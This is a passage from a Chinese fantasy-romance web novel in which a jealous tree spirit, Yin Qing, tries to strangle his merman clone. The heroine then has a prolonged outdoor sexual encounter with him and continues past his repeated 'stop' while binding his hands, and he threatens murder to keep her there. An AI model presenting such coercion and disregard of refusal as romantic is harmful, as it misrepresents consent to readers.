鲛人五官与银清有八九分相似,容貌更显稚嫩些。
从小被动漫荼毒,岑让川不知不觉变成了个白毛控,面对又是银发又是人外的鲛人她实在有点忍不住。
“我帮你拔鱼刺,你给我摸尾巴?”她不在意现在是不是趁人之危,过把瘾再说。
活了二十来年,见到这种传说中的生物,她早就好奇地不行。
现在这个,哪怕是银清的分身,那也证明过千年前确实有鲛人的存在。
“……”鲛人现在说不出话,犹犹豫豫地同意了。
岑让川想起今天花的钱,又想起银清之前说的,宅子是她的,钱是她的,人也是她的这句话,又问:“你和银清是一体的,知道他把我以前的钱放哪了吗?”
重点是“我的”!
死小子话说得好听,钱她到现在只见着那一百万现金还有他的“嫁妆”——一盒金砖。
鲛人迷茫地摇头。
岑让川惊讶:“……你不知道?”
他再次摇头。
算了,先帮他把鱼刺取了。
她叹口气,让他坐好。
“张嘴,啊——”
“啊——”
这次比刚刚在水里顺利许多。
她刚夹到末端动了动,鲛人疼得往后缩。
岑让川眼疾手快,迅速拔出那根鱼刺。
“别咽,还有一根。”她挨近,急忙托住他后脑勺,制止他的动作。
鲛人只能乖乖张嘴:“啊——”
拔出第二根时,她趁他不注意,把消炎药塞进他喉咙深处。
鲛人差点没噎死,连续好几次吞咽,好不容易才把胶囊咽下去。
没等他发作,一个石子飞来。
“啪”地一声砸到他鱼尾上。
岑让川偏过头去看。
另一边月洞门,银清不知道什么时候出现。
他冷着脸,指间捏着一个石子。
不同的是。
这一颗,对准的目标是岑让川。
他生气了。
岑让川和鲛人明显能感觉到他的怒气。
却都不清楚自己哪得罪他了。
“……你不是要问钱藏哪了吗?你问吧,我先走了。”鲛人本着死贫道不死道友的心态,立时开溜,窜回水里。
“不是!”她尾巴还没摸到呢!
“你订单不发货了吗!”银清头一次语气这么重。
“惹你了,毛病……”岑让川小声嘀咕,低下头看到掉在腹部衣服褶皱里的珍珠,刚要捡,就听到银清脚步声急促走来。
他边走,眼中的小火苗燃得越旺。
“不许碰!”
23. 绞杀鲛人
银清永远不会忘记。
当年身居皇位的年轻帝君在看到权贵献上鲛人的那刻,眼中的喜爱是他自跟在她身旁以来从未见过的,明亮,又浓烈。
他无法遏制地产生要剿灭所有鲛人的冲动。
如此阴暗的想法,自然不可能让任何人知道。
身为人臣,便要尽忠职守,为帝君出谋划策,保天下安宁。
她手下能用的谋士三十多名,他好不容易才从芸芸众生中杀出重围,让她看到自己的才华从而启用,成为谋士之首,自己怎能功亏一篑?
他克己守礼,不去争抢她为数不多的宠爱。
然后。
然后她就真的几乎忘了自己存在。
得到鲛人的第一个月,他从女官们那听说帝君把鲛人养在寝宫浴池,她日日都要去听鲛人唱首曲子。
第二月,第三月,接连如此。
她喜爱那条鲛人,甚至喜爱到把她流落民间踪迹全无时认识的好友带到鲛人面前,让她的朋友也见一见。
自己何曾被她如此珍重过?
银清第一次尝到嫉妒之毒能令人穿心而死的痛苦滋味。
他开始无时无刻不妒忌那条鲛人能每日轻而易举见到帝君,与她说话,唱歌给她听。
他愈发阴郁,手底下的人也愈发害怕。
直到某一日。
不知是她开窍还是身边人点醒。
时隔三个月,她终于抽出时间来见他。
银清欢喜得提前两个时辰布置宅邸。
丫鬟小厮再一次把府中家具花瓶擦得发亮,修剪枝桠。
他站在镜前,挑选衣裳首饰,敷粉燃香。
为自己增添光华。
整整两个时辰。
他等在主厅,等到茶凉了不知几回。
天上云层转换又被吹散,正阳西斜。
小厮在门外蹲候,迟迟等不到她的消息。
结果啊。
说好未时来的人,申时三刻才到。
身后,还跟着坐在素舆上的鲛人。
他为她所做的一切,都在他看到鲛人时被击碎。
银清想笑。
却囿于君臣身份,死死忍住。
她说过,不喜欢善妒的男子。
自己虽然偶尔有点缠人,却有“气度”有“风骨”。
正正好好,是她后宫男子中少有的“正宫风范”。
因着曾与她有过婚约,不少大臣调笑让帝君把他重新纳入后宫作帝后。
然而谁会知道。
风光霁月的林家三公子,才是她无数爱慕者中最为善妒的那个?
他若坐上后位。
第一天便会想方设法,抓住错处,弄死那些男宠。
第二日借着清君侧的名义,再把那些与她不清不楚的大臣谋士或贬或杀。
第三日,当然是要在她面前演上一出好戏。
梨花带雨,耐心劝诫……
必要时,负荆请罪,用用苦肉计。
他会慢慢渗入她的生活,不论做什么,点点滴滴都会有他的身影。
保证让她再也忘不掉他。
哪怕死,也要成为她每次赏月时都会想起的第一人。
他做到了。
死后,帝君命人把他的尸身葬在宫内唯一一棵银杏树下。
她会想起自己,时常过来走一走,偶尔说上两句话。
逢年过节也会有宫人前来祭奠。
那时的自己,已与她天人两隔。
她不知道,她坐下树下用草编织手环时,他就在她身边。
直至草环腐烂,成为泥地的一部分,他才能拾起戴在自己手上。
因为这段记忆过于痛苦。
死后附着在银杏树上时,第一个分裂出的分身,就是鲛人。
他承受剧痛,分裂出的却是仇人。
银清侧过脸望着鲛人,不顾经历剧痛后的虚弱身躯,一定要将鲛人置于死地。
显然易见,他没有成功。
要不然怎么会让第二世的岑让川见到鲛人?
岑让川认命给清风拂岗发去雷击木细节图,背后的目光一时灼热一时阴沉,盯得她想网购一件防弹衣锁子甲之类的玩意,防止银清给她一刀。
她汗流浃背地打字回复,不时回头看他,又不敢问他怎么了。
银清明显不喜欢鲛人,甚至掺杂一丝恨意。
可又为什么?
这可是他的分身。
她像个电诈分子呆在电脑前不停拍图确认,生怕慢下来银清玩字母,随时变出一根藤条抽在自己身上。
银清还在想着鲛人的事。
一桶鲫鱼还没把人弄死他已经很不痛快了。
早知道鲛人来的那天他就该往池塘里投毒。
还“净化水源”。
到时候水源没净化好,人已经跟岑让川滚到床上了。
他就不该试探这一世的岑让川。
好色是一点没变,比前世还有过之无不及。
前世身为帝君,每日忙碌,至少三五日才有空翻牌子。
现在倒好,人人平等的世界,她倒是可以随时随地,随心所欲找乐子。
“呵。”他忍不住冷笑。
坐在桌前的岑让川听到他这声冷哼打字速度飞快。
“……”她到底哪惹着银清了?
不就帮鲛人拔个鱼刺?
至于一副先宰了鲛人再宰了她的模样吗?!
趁清风拂岗还没回复。
岑让川赶紧到网上搜索:怎么哄男人?
等等,他外形是男人,但又是棵树,但前世是男人……
纠结半晌,算了。
当成男人处理吧。
网页蹦出第一条。
[男人生气该怎么高情商哄他?聪明女人会这么做。]
她赶紧点进去看。
第一条是保持冷静。
第二条是给予空间。
第三条是耐心倾听。
[等他准备好,不要打断,不要辩解,只是听他说。]
行,先卡在第二步吧。
她匆匆扫完,赶紧点叉。
保持冷静。
她直起背,双手在键盘上飞舞,沉浸式工作。
给予空间。
她压下想跟他说话的欲望,紧闭嘴巴。
银清见她沉浸在工作中,丝毫没有理会他的意思,更生气了。
怒火熊熊燃烧。
连带着目光也愈发灼热,都快把岑让川的背烧穿。
岑让川还喜滋滋地想:他一定是在想措词,该怎么开口跟她说明。
她真是个善解人意的好室友!
等到清风拂岗拍下三条链接。
十万到手,正好抵消掉银清买琴的五万多。
她心情愉悦地点开网店后台,准备叫个顺丰快递。
可当她点开收货地址时却愣住了。
等等,这个地址?
她目光往左上角移去。
收件人:刘庆远。
“……”
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不是冤家不聚头,前段时间刚给她赔完钱又撞她手上了。
她干脆打开聊天栏。
[川贝:喂,退货。老娘不卖你个黑心肝的烂货。雷击木保佑不了你,你去找那个矮子风水师吧。]
她发誓她没有歧视患有侏儒症的人群,纯纯歧视风水师个人。
跟在刘庆远身边的侏儒风水师,她干了这么多年只知道他姓朱,旁人都喊他朱先生。
她们这群社畜私底下给他取了个外号叫朱矮子。
岑让川自打进了工作室后才发现朱矮子这人真绝了。
好事一点没干。
坏事一点没少干。
公司进人都要经过他面试,从生肖到面相,再从面相到生辰八字。
不知道的还以为那小破工作室是世界五百强企业,招的人形貔貅呢。
刘庆远本人长得跟□□似的,身边自打有了朱矮子就更放肆了。
同事都在私底下吐槽癞/□□身边牵了一条癞皮狗。
这两个,一个又丑又胖一个又丑又矮。
骚扰女同事,成天开黄腔。
潜规则下属,私自扣工资。
没社保、没合同、没加班费、没保障,就这么个小作坊愣是这么多年没人举报。
岑让川成了第一个。
获赔十几万。
她都能想象到判决书下来时刘庆远脸有多绿。
收到消息的另一边卡了半晌才回复。
[清风拂岗:???]
[清风拂岗:岑让川?]
[川贝:是你姑奶奶我。怎么样,最近还好吗?赔钱赔的爽不爽?]
只要有人开头,必定会有第二个、第三个……
她手把手指导前同事们如何举报黑心老板,效果应该还不错。
[清风拂岗:我要封了你的店!]
[川贝:微笑.jpg]
[川贝:你去吧,姑奶奶我现在有钱,随~便~封~]
说完,退款拉黑一条龙。
虽然没赚到钱,但……有点爽?
财富自由的感觉原来是这样的吗?
想拒绝就拒绝,不用为了几万块折腰。
岑让川深呼吸一口气,想找银清说话。
一回头,原本坐在床上的人不见了。
不远处池塘那传来扑打的水声。
杀鱼了?!
岑让川连忙踩上拖鞋往小楼外跑。
“帝君!帝噗噜噜——”
“帝……噗,君……”
清澈池塘此刻浑浊地根本看不清里面情形。
鲛人居然在自己最擅长的领域落了下风,借着往上浮起的朝主屋小楼里的岑让川求救。
池塘水面藤条滚动,水里混着泥沙,昏黄地像一锅酸汤。
岑让川见此情形,第一反应是往后退。
鲛人望见她的身影,不顾一切朝她求救。
可他刚开口说出两个字,另一道身影从水里跃出,从背后袭来。
藤蔓上荆棘扎入他的手掌,浓绿汁液渗出。
银清像是根本没知觉,攥着藤蔓勒在鲛人脖子上,死死拉紧。
鲛人脖颈上俱是湛蓝血液,又浓又透。
他满眼惊恐,求生欲迫使他抓住脖子上那根藤蔓,想要后退,身后却是他的主体。
蓝绿血液混在昏黄水池,如同开了染料坊。
岑让川鼻尖闻到他们血液混合的气味,目瞪口呆。
银清……竟真想绞杀他自己的分身!
24. 逃脱
水声哗啦。
满池植物汁液加上鲛人血不断流出,原本水池里黄色泥沙硬生生被压下,混合成污浊的青绿。草木汁液与鲛人血糅合,逐渐在宅子里弥漫。草木在此刻似是从地下吸食他们的血液,以肉眼可见的速度生长。
陆陆续续播撒下的花种不多时顶破泥土,嫩芽冒出,密密麻麻的青绿色如黑夜中的点点萤火。伸展绿叶,长出花苞。
岑让川被这幅画面吓愣了。
她完全想不到,只不过是帮鲛人取个鱼刺,能演变成现在这你死我活的场面。
鲛人被藤蔓缠绕,他在其间不断挣扎扭动,身上被尖刺划出深深浅浅的伤痕。
“救我……”
求救话语止住,荆棘已扎入脖颈。
银清就在鲛人背后,不断缩紧藤蔓长度。
岑让川注意到鲛人脖颈上的伤痕渐渐显现在银清脖子上,立即明白过来,他们本就是一体。
银清在绞杀鲛人的同时,何尝不是在绞杀自己?
可她不明白。
她刚来的时候,也亲眼见过银清本体绞杀过他自己的分身,那时,为什么他会平安无事?这次又为什么会在他本体上显现出同样的伤痕?
没等她想明白,她已经下意识越过栏杆,在池边蹲下,伸手去抓住鲛人脖颈间带刺藤蔓,不让银清继续。
鲛人在意识昏迷前终于呼吸上一口空气,惊惧下不顾一切地抓住她手腕,带着哭腔嘶喊:“救我,救我,我不想死……”
话音未落,脖子间又是一紧。
尖锐刺破人类皮肤,流下鲜红血液,瞬间打湿藤蔓。
“银清,住手!”她着急地喊。
“你松手!”银清与藤蔓共感,第一时间便觉察到她因自己受伤,却没有想要罢手。
他早该弄死这条鲛人,不论要付出什么样的代价。
无非就是去掉半条命,他还承受得起!
千年前,哪怕她得到鲛人后一年选择将他放回海中。
但在此后岁月,每隔三五年她都要出城去海边一趟,就为了见鲛人。
他们之间有约定的暗号,只要她在岸边吹响鲛人送她的哨,他就会出现。
银清可以容忍她身边有其他人。
却绝不允许她爱上他们。
她心里……不能有任何人啊……
不然,他怎么办呢?
他会被她扔在角落里,等待多久……才能见到她?
过去的梦魇缠绕,银清下意识勒紧藤蔓。
他使得力气太大,蹲在岸上的岑让川本就处于地理上的劣势,猝不及防间,被他拽地往前倾。
鲛人脖子勒在小小的空隙,两边藤蔓挤压,已经翻白眼。
岑让川当着他的面,因为惯性,“噗通”一声掉入满是非人类的血池中。
鼻腔灌入青绿色浑浊液体,苦甜、腥涩,像扑入中药汤里,令人反胃。
周围鲫鱼像在油锅里,不断跃出水面。
她掉进水里才知道为什么。
随着血水灌入肺里,似缓慢结冰般,冻得人五脏六腑发痒发疼。
寒冷由内而外,她控制不住地发起抖。
血液犹如已凝固,皮肤都快要剥离血肉,只要用小刀割开一个口子,血水立时灌进去,成为一具浮尸。
岑让川努力睁开眼睛,想往水面上浮。
却在这刹那,看到银清沉下来。
虹膜亮起金色光圈,无数记忆纷至沓来,如走马灯般在她面前划过。
前世有关鲛人的记忆零零碎碎进入她的脑海。
身着明黄色华服的女子坐在浴池旁,水面倒映出与自己一般无二的容貌。她笑着听鲛人为她唱出缠绵的曲调,喜爱地抚摸他的头发,甚至……亲吻过他的额角。
她说:“你陪我一年,一年后我放你自由。”
她花了许多心思才让鲛人相信,她会放他回去。
一年后。
她履行承诺,将鲛人放归大海。
在这期间,她见银清的次数不超过五次。
每次都是商谈公事。
还有一次,她把鲛人带去他的府邸。
那次,窗明几净,满室熏香。
他站在府门前迎接她,华服层叠,衣佩玎珰,处处精致。
深邃精致的容颜敷了珍珠粉,阳光下犹如覆盖上一层薄弱的光。现在再次看到同样的画面,她才看到,他不止脸上敷过粉,手上、脖子上、锁骨上,露出的每寸皮肤都蒙了一层微光。
画眉涂脂,细细描摹,多一分则艳,少一分则淡,花费心思讨她欢心。
可她却那样对他……
鲛人走后,她心意难平。
向来持身端正的林家三公子端上自酿的烈酒,耐心劝诫,被她说滚也当作听不到。
最终。
她醉倒在他怀中。
他与她滚在榻上,意乱情迷时问她:“帝君,只爱林清一个好不好?”
她是怎么回答的呢?
“林清,不要太贪心。”
时隔千年,青绿色池水模糊他的面容。
她却如此清晰地看到他眼中碎玉般的怨恨,盛满在名叫痛的器皿中。
他的忌妒、他的挣扎、他的凄苦……
她视而不见。
连同他滋生的爱,皆被她弃如敝履。
那么……这一世呢?
岑让川轻轻捧住他的脸,印在他的唇上。
不规则的气泡从她们唇齿间溢出,互相纠缠,仿佛要把对方吞吃入腹。
银清杀意在顷刻间被瓦解,不知不觉间松开了手。
鲛人得以喘息,不顾一切爬上岸,按着脖子爬到刚生长出的花丛中后平复呼吸。
他是银清第一个分裂出的分身,距离现在千年时间,他早已有自己的想法,不想再被主体吞噬。
银清怨他,他是知道的。但他的分身离得太远会有枯萎的可能,这次偷偷摸摸回来,本以为不会被发现……
谁知道银清不仅发现了,还把他留下来当作钓岑让川的幌子。
心眼子忒多!
他又没勾引岑让川,进宅子以来生怕她看上自己,一直凶巴巴的。要不是银清故意把那桶鲫鱼倒下来,他也不会被鱼刺卡住!他不被鱼刺卡住就不会求助岑让川!
宅子里长手的生物统共就她们俩他还能找谁?
说到底就是银清的错!
关他什么事?!
他只是一条美貌的鱼啊!
鲛人自恋又委屈地想着,又往前爬一寸。
刚从死亡线上下来,他的小心脏还扑通扑通地跳。
岑让川在,银清应该……<
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p>他想到这,听到水面被破开,大量水花被溅上岸。
从茂盛花丛罅隙中,依稀可窥见一抹春色。
两道纠缠的人影几乎快合二为一,隐隐约约可以听到银清喉间溢出的低吟。
鲛人小脸一红。
岑让川已经把银清上衣扒下半边,轻轻用虎牙磨他湿淋淋的耳垂。
不多时,便红得像树上的樱桃。
她边在银清身上留下痕迹,边睁眼去看岸上的鲛人。
一看之下,她恨不得锤爆那条鱼的脑壳。
还不走?
在这看你主体的活春宫?
嫌死得不够快?
银清觉察到她的分心,想要转头去看,立刻被她摁住,柔软的舌在他喉结上像在卷弄樱桃核。
“嗯……”银清敛眸仰起头,让她能更加顺利地品尝自己。
岑让川赶紧用手垫在他后脑,生怕他现在嗑疼清醒过来。
她空出另一只手,朝鲛人方向挥动,示意他赶紧离开。
鲛人鬼鬼祟祟地点头,这宅子里不止这一处有池塘,他去另外一边,不在这,见不到岑让川,银清应该不会追杀到底吧?
问题来了,银清真要置自己于死地的话,他跑那么远,没法跟岑让川求救啊!
左右为难之际,一根藤条悄无声息腾空跃起。
“啪”一下,抽在人鱼尾巴上。
鲛人疼得嚎了一嗓子。
银清慢慢闭上眼,嗓音喑哑,吐出一个字:“滚。”
岑让川一愣,以为他是在跟自己说话,马不停蹄鸣金收兵要上岸离开。
银清拉住她,眼里有她看不懂的情绪,湿漉漉的几乎被升起的欲念占满。
他让她把手放在自己胸口,低声说:"你要是走了,我现在就绞死他。"
“……”
岑让川和鲛人同时沉默。
鲛人想说话,又不敢说,乞求的目光望向她,顺带哭出几颗珍珠企图用钱财让岑让川心软,让她献身留下自己一条狗命。
岑让川盯着那几颗珍珠,勉勉强强答应:“不走……”
她刚说完,银清拥上来,隐隐急迫地说:“不许再看他,也不许跟他说话。快点,碰我。”
岑让川心不在焉说好,目光控制不住往鲛人那飘去,揉他的动作不免轻缓几分。
银清伸手覆在她的眼睛上,用力吻上来,差点给她咬出血。
他受不了从她眼睛里看到鲛人的影子,力度不免有些控制不住。
没了视觉,其余感官变得灵敏。
她甚至能清晰听到鲛人鳞片滑过草地去到沿廊上快速离开的动静。
岑让川暂时放下心来,也不管嘴上被他咬破皮,终于肯专心对付他。
手掌下,浸过水的皮肤滑腻地像半凝固的牛乳布丁,点缀着两颗榛子,还是刚从烤箱拿出来的,又热又烫。
他难耐地哼出声,又嫌在水里不方便,直接让水下藤条把他们送上岸,纠缠的身影压塌一簇又一簇花草。
银清仰面躺下,琥珀色眼眸望见碧蓝的天空。
从未在光天化日毫无瓦片遮掩下做这种事……
他难得感到羞涩。
岑让川觉察到他放不开,随意摘片叶子遮在他双眼上后默默用力。
如愿以偿听到他压抑地喊出声。
25. 你敢喂一个试试
池塘边植物被成片压倒,绿汁从断裂的枝条中流出,草木气息浓郁。
随着一声闷哼,空气中多了丝花香。
浅浅淡淡的,只一瞬便被清风吹散。
银清咬在岑让川肩膀上,眼周潮红,他失神地半阖眼,眼尾泌出水光。
他嗓音溢出支离破碎的话:“不要,堵……”
话毕,岑让川指腹微微用力,擦过从旁生长的藤蔓,断口处透明青绿色汁液流了她一手。
断断续续,淌入底下浓绿草地。
银清微微颤抖,咬她肩膀的力度丝毫不减,随着她低头亲吻自己,再次迎来爬上脊骨的滚烫。
他说不出话来,琥珀色眼眸里尽是雨后的湿漉,似伤心哭过那般脆弱不堪。
喘息声在耳畔刚平复下去许些,便再次响起。
雪白喉结上下滚动,喉咙像被砂纸磨过,哑得只能低低发出些许音节。
岑让川已然在无数实践中迅速摸索出他的弱点,看他哭得连眼睫根处都深红地像描了红眼线,压根没停下的意思。
银清半阖眼,没等平复过来,又是接连不断的澎湃浪花,打得海上帆船颤颤巍巍,似是下一秒就要被大海吞噬。他神智近乎崩溃,只能仰着头望着她祈求她给点时间让自己喘口气。
湛蓝天空倒映进他眼中,湿透的浅瞳再次失焦,他张着嘴无意识地发出几许吟息。
从白昼到黑夜,云卷云舒。
池塘上空四四方方的仰景将广阔无垠的天空框住,他所有用以遮掩的衣物都散落在旁,压在他身上的礼仪教条也犹如这些衣物被慢慢抛下。
他的规矩,他的端方,他的清雅,统统在这刻泯灭,仅剩下承载她给予他愉悦的载体。
在岑让川又一次要动作时,银清反应过来,颤着嗓虚虚按住她:“不……”
她低头吻他,不许他在这个时候叫停。
今天非要让他吃饱,不然中药吃着不安心,生怕他往里边加料。
“不什么不,再来几次。”她才不管他说什么,抓起趴在地上的藤条三下两下捆住他的双手,戏谑地问,“不是总说吃不饱吗?”
银清缓慢摇头,还未准备好便又是脊骨酥麻。
他已经说不出话。
身下草地落满水珠,压根分不清是池塘里的血水还是他的汁液,水分吸足后的绵软植被用手往下压便能冒出大量液体。
天色擦黑之际,倦鸟归林。
宅内银杏树上已有新住客,扑扇翅膀从她们头顶上方飞过。
银清浑身从里到外湿透,连眼睫上都挂满小小的透明的泪珠,他咬不住岑让川的肩,脱力地瘫倒在她怀中,声音发虚:“不要了……”
“真不要了?”她故意问,“想好了,接下来几天我都要修身养性,说不准要按月计算。”
“……”他难得沉默。
脑子跟浆糊一样,根本不适合思考。
他在找回神智,岑让川却在准备来最后一次。
银清本就支撑不住,觉察到她的意图,忙讨好地亲她侧脸:“真的不要了……”
“嗯,还能说话,十分饱的话你现在才八分?”岑让川本就肾虚,为了后面几天耳根子能清静些才坚持到现在,说什么她今天都要给他喂撑。
银清没想到她根本没给选项,眼角水光再次淌过汗津津的脸。
他被掐住下颚,被迫张开牙关,两人再次纠缠成一团。
天黑时分,万籁俱静。
虫鸣响起,零星萤火飞舞在半空,落在指尖。
鲛人抱着半条死鲫鱼饿得偷偷摸摸上岸,前院银清的声音总算停下,他不知道这个时候去原来那个池塘还能不能捞着几条鱼充饥。
听到不远处脚步声传来,他连忙滚进最近的竹林,鬼鬼祟祟地探出脑袋去看。
这一看可不得了。
他再次感到小脸发热,又是羞又是好奇。
月洞门后,水面反射在墙上,波光粼粼。
细听下,风声混着靡靡水声吹入耳中。
黑影晃动,不时传出点暧昧动静。
鲛人震惊了,那两人居然还没结束?!
从白天到黑夜,这都几个时辰了?
因着距离有点远,又有反光,他看不清楚,只是联想到不太美妙的东西……
银清……该不会已经把人宰了,在吞吃人肉?
鲛人想到这,登时有点心急。再怎么说,岑让川也是替自己承受苦难,他总不能真心安理得用几颗珍珠买条人命?
这可是要遭天谴的!
银清装了避雷针不怕劈,他在水里避无可避,绝对会被电得翻肚皮。
鲛人忙往前又凑近些去看。
就听到岑让川说话声响起:“今天够了吧?心情好点了吗?可以放过你的分身?你看你脖子。”
噢,亲完嘴在说体己话呢。
鲛人松了一口气,把自己藏匿在黑暗中,支起耳朵听他们说话。
银清却不买账,冷声说:“所以你今天,是为了鲛人才这么折磨我?”
“好好说话,是折磨还是爽快?”
银清不吭声,别扭地撇过头去。
他侧脸轮廓的影子映在墙上,眉弓立体,鼻梁高挺,浓密的睫毛伸展,如伸入窗台的枝桠,长出嫩叶。
“我前世是对不起你,这辈子我俩认识不到一个月,没对不起你吧?哪这么大醋劲?我就帮他拔个鱼刺,你就非得豁出半条命弄死他?鲫鱼还是你倒下去的吧?”
“他是我的分身,跟你有什么关系……难受的是我又不是你……”
“顶嘴,行,我看你还有点力气。”岑让川说完,又要去扒他裤子。
银清急了,死死拉住,面色涨红道:“我就是看不惯,谁让你帮他的!”
“……你告诉我,你现在弄死他有什么好处?以前你出现在小庙的分身你可以轻而易举杀了他,融合回你的身体。对付鲛人你却要费那么大劲是为什么?”岑让川想问很久了。
鲛人来的时候她还没怎么样,但当知道鲛人是他的分身后,她一直好奇银清干嘛不赶紧把鲛人也融进身体,要拖这么久?
银清目光移向天边明月,简短回答:“融不回去。”
“理由?”她想知道的是为什么。
“他身上……有一半的血,是鲛人的……”银清说到这,不肯再说。
任岑让川怎么逼问,他都当听不到。
气得她想动手。
但,在那之前……
有一个更迫切需要问的问题。
“你之前说宅子是我的,钱是我的,你也是我的?”
银清飞快瞥她一眼,轻哼道:“是我说的,然后呢?”
岑让川瞪他。<
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p>他看水看屋檐看鲫鱼就是不看她。
“闲着没事,那就再来一次。”她直接去剥他衣服。
银清按住她的手,在沿廊长椅上蜷缩成团,不肯遂她愿。
他又高又瘦,背靠在墙边缩起来的模样像暂时收起毒牙的黑蛇。
“你今世命里漏财,我不能一次性全给你。”他被迫说出真相。
果然。
岑让川大惊失色,跟被雷劈了那般,难以置信地再问一遍:“你说……什么?!我命里漏财?!”
“……你要是不信,小六壬、紫微命盘、梅花易数,你信哪个?我给你排一下你看看就知道……”银清越说声音越低,“这件事刚见面那时我跟你说过,我们绑在一块,分身找不到功德凑不满,穷困潦倒,英年早逝。你赚的那点钱还不如我帮你花,以另外一种形式转回来我还能帮你存……”
岑让川这才隐隐约约想起,刚见面那时他好像……确实……提到过?
“你没骗我?!”
“你能看得懂命盘吗?我给你排。”银清死死按着自己衣领问。
今天真的够了,他不想再继续。
饥一顿饱一顿。
今天不仅饱,他还撑得慌。
被她找到弱点来来回回不间断十多次,自从重逢后他积攒的怨气早已消退不少,如今更是被榨地七七八八,脊骨处到现在还余留了些许酥麻感,麻得他腰酸腿软。
岑让川在思考他说的话。
命盘……
她只看得懂一丁点。
还是侏儒风水师朱矮子给她排的。
为了看能不能给公司招财,拐弯抹角问她具体时间。
岑让川当然不可能说。
银清看她变幻莫测的神情,拉着她的手说:"要是实在不信,我明天给你两百块,你上街走一趟,大概正午时分,你应该就会破财。"
“……我会赔多少?”岑让川警惕地问。
"约莫是十倍。"
“……”那不就是两千左右?
自己真要为了验证命里漏财拿两千块赌一把吗?
她俯视蜷在长椅上的银清,认识以来,他没骗过自己,也没有做对不起她的事。
顶多缠人了些,可她依然对他卜卦的能力感到好奇。
"只给我二十的话,能不能赔少点?"
银清无语半晌,才说:"不行。"末了补充道,"这不是做游戏,少钱少赔,多钱多赔。我说的两百块和赔偿也不过是大概,不一定就是你最终的数额。"
岑让川考虑半晌,决定拿个五十明天出门看看会发生什么。
水面映出天光,笼罩在她脸上,好巧不巧,有道阴影横亘在她眉间。
银清仔细打量,微微讶异。
思量片刻后他决定透露点给她:"你这几天如果要出门小心些,会遇到克你的人。"
"能克我的不就是你吗!"
银清刚要还嘴,身后白墙另一边却传来响亮的咕咕叫声。
两人迅速安静。
这声音实在过于嘹亮,跟吹唢呐似的。
鲛人捂着肚子欲哭无泪。
银清意识到是他后,脸上表情变得阴郁。
“你不是喜欢他吗,他饿了你还不快给他去弄点吃的。”
他盯着岑让川,眼神明明白白告诉她,你敢喂一个试试。
26. 断头饭
今日阴天,早晨太阳只出现一会儿后便藏进乌云里。
气温不冷不热,适合出远门。
岑让川刻意起了个大早,拉着一筐打包好的箱子发快递。
因为曾经卖过些小玉雕,有店铺粉丝基础,加上这次还有“能实现小愿望”的噱头,这批货走得异常快。她存货不多,玉雕机刚到不久还不知道该安置在宅子的哪个房间,只能把存货数量改低,一物一件,卖完下架。
粉丝群里哀嚎一片,纷纷要求她勤快点上架。
哪勤快的了……
她这一天天的光是应付银清就够累了。
比如说现在,岑让川前脚刚踏出宅子大门,心中默数一二三,果然听到身后传来脚步声。
前些天闹得虽然狠点。
银清却看起来容光焕发,整个人被滋润地似朦朦胧胧覆上一层珍珠般的润泽,比起前些时候欲求不满的模样,看起来像一株吸饱水的多肉植物,连那头墨色长发都看起来异常顺滑。
“你跟着我干嘛?”她回头问。
银清瞥她一眼,眼神冷冷淡淡的。
跟她滚草地时候的荒唐放荡模样判若两人。
岑让川看得牙痒,暗骂这人吃饱就不认账,以前饿的时候看她的眼神那叫一个温柔缱绻爱意绵绵。
银清不知道她在心中编排自己,理了理衣袖说:“没跟着你。一会有空?”
“去哪?”
“算了,还是我自己去吧。”银清说完,抬头望了眼天色后又往前走几步,回过头来,语气不是太好,“我今天出趟门,不许去找鲛人。”
“噢,知道了。”她随意敷衍。
银清不放心,趁她走近拉住她:“不要找他。”
她有点烦了。
他控制欲和占有欲也太强,强到已经越过界线。两人现在既不是夫妻又不是男女朋友,充其量就是宅友、室友、炮/友之类的关系,他管那么宽干嘛?
要不是钱在他手上,她立刻提着行李箱跑路。
但她没说出口,不然不知道他会闹出什么幺蛾子。
岑让川应付道:“行行行,你赶紧走吧。”
银清凝视她好一会,慢慢低下头凑近。
长发落下,借风趁势,轻轻拂过她肩膀。
岑让川再次闻到他身上馥郁清新的草木香气,视野被他光洁白皙的皮肤占满,他浓密纤长的睫毛扫过她的面颊,琥珀色双眸柔和中透出点她读不懂的情绪,很快被他掩饰过去。
轻盈似蝶落的吻落在她唇边,他轻声说:“我一会就回来。你不要找他好不好?嗯?”
银清软化态度,改用美人计。
岑让川态度果然好许多,语气却依然敷衍:“嗯,不找。”
她前世软硬不吃。
这辈子吃软不吃硬。
银清清楚自己怎么做都改变不了她,忍下即将翻涌的嫉妒,又多亲了她好几口,直到她染上自己的气味,这才恋恋不舍地说:“那我走了?”
“……你到底走不走?”岑让川无力吐槽,两人相处不过一个月,哪这么缠绵悱恻。她边推他边催促,“要出发赶紧出发,不然我把你铐宅子里。”
“要把我当禁脔?”他想了想,“也可以,你要绑我吗?还是把我关进小屋子?我看新闻上说现在人喜欢用蜡烛皮鞭,你也喜欢吗?”
他跃跃欲试,大概是想到什么,耳尖发烫,透出淡粉色。
岑让川:“……”
她就说电视手机不是什么好东西!
这几天估计是手机软件监听到动静,互相之间出卖机主信息,给他大数据推送过什么不该推送字母圈里的玩意!
她好不容易把想被她关进小黑屋成为她玩物的银清哄走,车声如期而至。
顺丰小哥穿着黑色制服上门收货。
三轮车发出“嘀嘀”声,白色后厢掉漆露出生锈的铁皮,斑驳地正往下掉屑屑。
她一面跟左边开车人过来的顺丰小哥打招呼,一面跟还没走远的银清挥手告别。
他站在柳树下一步三回头,像是生怕他一走她就去找鲛人。
岑让川受不了,打开手机给他发信息:我保证不去鲛人那!
[银清:好,那你今天万事小心。]
万事小心?
她抬头去看银清所在位置,人已经不在树底下。
是指几天前提到的破财还是遇到克她的人?
“岑小姐,今天这么多快递吗?”顺丰小哥已经利落下车,打开后箱,拿起扫描器扫码。
岑让川回过神来,点头说:“对,都要寄,月结。”
“好,我都听我老板说了,放心。要保价吗?”
“不保,小玩意而已,不是贵重物品。”
现在店里卖的都是中低端三位数产品,最贵的就是雷击枣木,算上来回运费和折损等乱七八糟的钱,再保价她连本都收不回来。
一通忙碌,她打包好的快递总算装进箱。
快递小哥关上箱门,朝她挥挥手:“岑小姐,下次见。”
她点头:“路上小心。”
镇子上年轻人不多,人情往来没有大城市冷漠,加上工作量不大能保证生活,大家都会多聊几句,拉拉家常。哪天做饭缺点酱油,穿上拖鞋出门让你去借点应急,大部分都会同意。
做完今天的工作,她开始考虑等银清回来,在宅子里给自己安排个工作的地方。
这凶宅她住进来快一个月,愣是只敢在前院到主屋小楼那片地走动。
正琢磨着,她已经不知不觉走到早餐摊前。
